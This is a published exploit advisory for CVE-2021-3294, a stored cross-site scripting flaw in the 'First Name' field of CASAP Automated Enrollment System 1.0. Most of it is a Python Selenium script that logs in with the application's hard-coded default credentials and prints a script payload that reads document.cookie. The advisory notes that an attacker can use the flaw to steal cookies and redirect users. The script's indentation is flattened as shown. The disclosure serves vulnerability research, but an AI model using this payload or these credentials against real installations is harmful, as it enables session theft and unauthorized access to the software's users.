Authored by nu11secur1ty | Site nu11secur1ty.com

CASAP Automated Enrollment System version 1.0 First Name persistent cross site scripting exploit. Original discovery of persistent cross site scripting in this version is attributed to Richard Jones.

advisories | CVE-2021-3294

# Exploit Title: CASAP Automated Enrollment System 1.0 - 'First Name' Stored XSS
# Author: nu11secur1ty
# Date: 02.15.2021
# Vendor: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Athor: https://www.sourcecodester.com/users/yna-ecole
# Link: https://github.com/nu11secur1ty/CVE-mitre/blob/main/CVE-2021-3294/CASAP.zip
# Link Original: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# CVE: CVE-2021-3294


[+] Credits: (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3294

[Exploit Program Code]
#!/usr/bin/python3
# author @nu11secur1ty
# For CVE-2021-3294

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
import os


#enter the link to the website you want to automate login.
website_link="http://localhost/Final/index.php"

#enter your login username
username="yna.ecole"

#enter your login password
password="12345"


#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"
#enter the element for submit button
element_for_submit="login"


#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

exploit="nu11<script>alert(document.cookie)</script>"
print("If everything is ok, please paste this in to the Users in section in
First Namen")
print(exploit)

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")

[Vendor]
https://www.sourcecodester.com/users/yna-ecole


[Vulnerability Type]
XSS

[CVE Reference]
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3294

[Security Issue]
CASAP Automated Enrollment System 1.0 is affected by cross-site scripting
(XSS) in users.php.
An attacker can steal a cookie to perform user redirection to a malicious
website.


[Video]
https://www.youtube.com/watch?v=_nhIZyJ8rxM


@nu11secur1ty
https://www.nu11secur1ty.com/